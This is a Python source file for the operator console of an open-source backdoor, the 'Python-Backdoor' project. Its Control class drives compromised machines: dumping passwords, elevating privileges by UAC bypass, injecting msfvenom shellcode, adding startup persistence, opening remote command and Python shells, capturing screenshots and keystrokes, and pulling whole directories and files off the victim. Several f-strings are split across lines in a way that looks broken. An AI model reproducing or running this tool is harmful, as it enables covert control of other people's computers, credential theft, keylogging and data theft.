```python
"""
https://github.com/xp4xbox/Python-Backdoor

@author    xp4xbox

license: https://github.com/xp4xbox/Python-Backdoor/blob/master/license
"""
#236 rsp = self.es.recv_json() bu kısımlarda boşluk sıkıntısı var.
import logging
import os
import re
import socket
import time

from src import errors, helper
from src.definitions.commands import *
from src.logger import LOGGER_ID


class Control:
    def __init__(self, _server):
        self.server = _server
        self.logger = logging.getLogger(LOGGER_ID)
        self.es = None

    def get_vuln(self, exploit_only=False):
        self.es.send_json(CLIENT_GET_VULN, exploit_only)

        self.logger.info("Please wait...")

        rsp = self.es.recv_json()

        if rsp["key"] == SUCCESS:
            data = self.es.recvall(rsp["value"]["buffer"]).decode("utf-8")
            print(f"\n{data}")

        elif rsp["key"] == ERROR:
            self.logger.error(rsp["value"])

    def password_dump(self, password=None):
        self.es.send_json(CLIENT_PWD, password)

        self.logger.info("Please wait...")

        rsp = self.es.recv_json()

        if rsp["key"] == SUCCESS:
            data = self.es.recvall(rsp["value"]["buffer"]).decode("utf-8")

            try:
                # try to convert to string first before running rstrip on it
                str(data)
                print(f"\n{str(data).rstrip()}")
            except Exception:
                print(f"\n{data}")

        elif rsp["key"] == ERROR:
            self.logger.error(rsp["value"])

    def elevate(self):
        if self.server.get_address(self.es.socket)["is_admin"]:
            self.logger.error("Session already has admin access")
            return

        self.es.send_json(CLIENT_ELEVATE)

        self.logger.info("Please wait...")

        rsp = self.es.recv_json()




        if rsp["key"] == SUCCESS:
            data = self.es.recvall(rsp["value"]["buffer"]).decode("utf-8")

            self.logger.info(f"Attempted Elevation via UAC Bypass:\n{data}")

    def shellcode(self):
        _encoding = "x64" if self.server.get_address(self.es.socket)['x64_python'] else "x86"

        print(f"Enter {_encoding} unicode bytes eg. (\\x00\\) shellcode or metasploit py output (enter done or cancel "
              f"when fully entered)")

        data = r""
        while True:
            _input = input()

            if _input.lower() == "done":
                break
            elif _input.lower() == "cancel":
                data = ""
                break
            else:
                data += _input

        if data == "":
            return

        # regular expression to parse the msfvenom output
        buf = re.sub("buf.?(\\+)?=.?.?.?\"", "", data)
        buf = buf.replace("\n", "")
        buf = buf.replace("\"", "")

        self.es.sendall_json(CLIENT_SHELLCODE, buf)

        try:
            rsp = self.es.recv_json()
        except socket.error:
            self.logger.critical("Client crashed!")
        else:
            if rsp["key"] == ERROR:
                self.logger.error(rsp["value"])
            elif rsp["key"] == SUCCESS:
                self.logger.info("OK.")

    def close(self):
        self.server.close_one(sck=self.es.socket)

    def info(self):
        out = "\n"
        info = self.server.get_address(self.es.socket)
        for key in info:
            # ignore outputting redundant information
            if key != "connected" and key != "is_unix" and key != "aes_key":
                out += f"{key}: {info[key]}\n"

        print(out, end="")

    def interact(self, index):
        try:
            self.es = self.server.select(index)
            info = self.server.get_address(self.es.socket)
            self.logger.info(f"Connected to {info['ip']}:{info['port']} ({info['hostname']})")
            return True
        except errors.ServerSocket.InvalidIndex as e:
            self.logger.error(e)
            return False




    def startup(self, remove=False):
        if remove:
            self.es.send_json(CLIENT_RMV_STARTUP)
        else:
            self.es.send_json(CLIENT_ADD_STARTUP)

        rsp = self.es.recv_json()

        if rsp["key"] == ERROR:
            self.logger.error(rsp["value"])
        elif rsp["key"] == SUCCESS:
            self.logger.info("OK.")

    def command_shell(self, index=-1):
        if index != -1:
            try:
                self.es = self.server.select(index)
                info = self.server.get_address(self.es.socket)
                self.logger.info(f"Connected to {info['ip']}:{info['port']} ({info[
                'hostname']})")
            except errors.ServerSocket.InvalidIndex as e:
                self.logger.error(e)
                return

        self.es.send_json(CLIENT_SHELL)

        init = self.es.recv_json()

        prompt = f"{init['value']}>" if init["key"] == SERVER_SHELL_DIR else ">"

        while True:
            command = input(prompt)

            if command.lower() in ["exit", "exit()"]:
                self.es.send_json(SERVER_SHELL_LEAVE)
                break

            elif len(command) > 0:
                self.es.send_json(SERVER_SHELL_CMD, command)

                rsp = self.es.recv_json()

                if rsp["key"] == SERVER_COMMAND_RSP:
                    data = self.es.recvall(rsp["value"]["buffer"])

                    print(data.decode())
                elif rsp["key"] == SERVER_SHELL_DIR:
                    prompt = f"{rsp['value']}>"

    def python_interpreter(self):
        self.es.send_json(CLIENT_PYTHON_INTERPRETER)

        while True:
            command = input("python> ")
            if command.strip() == "":
                continue
            if command.lower() in ["exit", "exit()"]:
                break

            self.es.send_json(SERVER_PYTHON_INTERPRETER_CMD, command)

            rsp = self.es.recv_json()

            if rsp["key"] == SERVER_PYTHON_INTERPRETER_RSP:
                data = self.es.recvall(rsp["value"]["buffer"]).decode("utf-8").rstrip(
                "\n")

                if data != "":
                    print(f"\n{data}")

        self.es.send_json(SERVER_PYTHON_INTERPRETER_LEAVE)

    def screenshot(self):
        self.es.send_json(CLIENT_SCREENSHOT)

        rsp = self.es.recv_json()

        if rsp["key"] == SUCCESS:
            buffer = rsp["value"]["buffer"]

            self.logger.info(f"File size: {rsp['value']['value']} bytes")

            data = self.es.recvall(buffer)

            file = f"{os.getcwd()}{os.path.sep}{time.strftime('scrn_%Y%m%d_%H%M%S.png'
            )}"

            try:
                with open(file, "wb") as objPic:
                    objPic.write(data)
            except Exception as e:
                self.logger.error(f"Error writing to file {e}")
                return

            self.logger.info(f"Total bytes received: {os.path.getsize(file)} bytes ->
            {file}")
        elif rsp["key"] == ERROR:
            self.logger.error(f"Failed to take screenshot: {rsp['value']}")

    def keylogger_start(self):
        self.es.send_json(CLIENT_KEYLOG_START)
        self.logger.info("OK.")

    def keylogger_stop(self):
        self.es.send_json(CLIENT_KEYLOG_STOP)

        rsp = self.es.recv_json()

        if rsp["key"] == ERROR:
            self.logger.error(rsp["value"])
        elif rsp["key"] == SUCCESS:
            self.logger.info("OK.")

    def keylogger_dump(self):
        self.es.send_json(CLIENT_KEYLOG_DUMP)

        rsp = self.es.recv_json()

        if rsp["key"] == ERROR:
            self.logger.error(rsp["value"])
        elif rsp["key"] == SUCCESS:
            keylog = self.es.recvall(rsp["value"]["buffer"]).decode()

            try:
                file_name = f"{os.getcwd()}/{time.strftime('keylog_%Y%m%d_%H%M%S.txt')
                }"
                with open(file_name, "w") as _file:
                    _file.write(keylog)
                self.logger.info(f"Saved to {file_name}")
            except Exception as e:
                self.logger.error(f"Error writing to file {e}")
                print(keylog)

    def download_dir(self):
        input_in = input("Target directory: ")
        input_out = input("Output directory: ")

        if input_in == "" or input_out == "":  # if the user left an input blank
            self.logger.info("Aborting")
            return

        max_file_size = -1

        input_file_size = input("Max file size kB ([ENTER] for infinite): ")

        if input_file_size != "":
            try:
                max_file_size = 1000 * int(input_file_size)
            except Exception:
                self.logger.error("Invalid integer")
                return

        _in = helper.remove_quotes(input_in)
        _out = os.path.normpath(helper.remove_quotes(input_out))

        if not os.path.isdir(_out):
            try:
                os.makedirs(_out)
            except OSError:
                self.logger.error(f"Could not create local dir: {_out}")
                return
        else:
            if not os.access(_out, os.W_OK):
                self.logger.error(f"No write access to local dir: {_out}")
                return

            if len(os.listdir(_out)) != 0:
                # prevent overriding existing files
                self.logger.error(f"Local directory {_out} not empty")
                return

        self.es.send_json(CLIENT_DWNL_DIR, {'path': _in, 'size': max_file_size})

        file_count = 0
        bytes_recv = 0
        bytes_sent = 0









        while True:
            rsp = self.es.recv_json()

            if rsp["key"] == SERVER_UPLOAD_DIR:
                buffer = rsp["value"]["buffer"]

                file_path = rsp['value']['value']['path']
                size = rsp['value']['value']['size']
                progress = rsp['value']['value']['progress']

                self.logger.info(f"{str(progress)}% - {file_path}")

                file_out_path = os.path.join(_out, file_path)
                file_data = self.es.recvall(buffer)

                if not os.path.isdir(os.path.dirname(file_out_path)):
                    os.makedirs(os.path.dirname(file_out_path))

                try:
                    with open(file_out_path, "wb") as fout:
                        fout.write(file_data)

                    # self.logger.info(f"Total bytes received: {len(file_data)} bytes")
                except Exception as e:
                    self.logger.error(f"Error writing to file {e}")
                    continue

                file_count += 1
                bytes_recv += len(file_data)
                bytes_sent += size

            elif rsp["key"] == ERROR:  # don't exit on error, try again with next file in dir
                self.logger.error(rsp["value"])

            elif rsp["key"] == SERVER_UPLOAD_DIR_DONE:
                if rsp["value"] is not None:
                    self.logger.error(rsp["value"])
                else:
                    self.logger.info(f"Total files received: {file_count}")
                    self.logger.info(f"Total bytes sent: {bytes_sent}")
                    self.logger.info(f"Total bytes received: {bytes_recv}")
                break

            self.es.send_json(SUCCESS)
```

```python

    def download_file(self):
        input_in = input("Target file: ")
        input_out = input("Output file: ")

        if input_in == "" or input_out == "":  # if the user left an input blank
            return

        _in = helper.remove_quotes(input_in)
        _out = os.path.normpath(helper.remove_quotes(input_out))

        self.es.send_json(CLIENT_DWNL_FILE, _in)

        rsp = self.es.recv_json()

        if rsp["key"] == SUCCESS:
            buffer = rsp["value"]["buffer"]

            self.logger.info(f"File size: {rsp['value']['value']} bytes")

            file_data = self.es.recvall(buffer)

            try:
                with open(_out, "wb") as _file:
                    _file.write(file_data)
            except Exception as e:
                self.logger.error(f"Error writing to file {e}")
                return

            self.logger.info(f"Total bytes received: {len(file_data)} bytes")

        elif rsp["key"] == ERROR:
            self.logger.error(rsp["value"])

    def upload_file(self):
        file = os.path.normpath(helper.remove_quotes(input("Local file: ")))

        if not os.path.isfile(file):
            self.logger.error(f"File {file} not found")
            return

        out_file = helper.remove_quotes(input("Output File: "))

        try:
            with open(file, "rb") as _file:
                data = _file.read()
                self.logger.info(f"File size: {len(data)}")
        except Exception as e:
            self.logger.error(f"Could not send file {e}")
            return

        self.es.sendall_json(CLIENT_UPLOAD_FILE, data, sub_value=out_file, is_bytes=
        True)

        rsp = self.es.recv_json()

        if rsp["key"] == SUCCESS:
            self.logger.info(rsp["value"])
        elif rsp["key"] == ERROR:
            self.logger.error(rsp["value"])

    def toggle_disable_process(self, process, popup=False):
        self.es.send_json(CLIENT_DISABLE_PROCESS, {"process": process, "popup": popup
        })

        rsp = self.es.recv_json()

        if rsp["key"] == SUCCESS:
            self.logger.info(rsp["value"])
        else:
            self.logger.error(rsp["value"])


    def lock(self):
        self.es.send_json(CLIENT_LOCK)
        self.logger.info("OK.")

```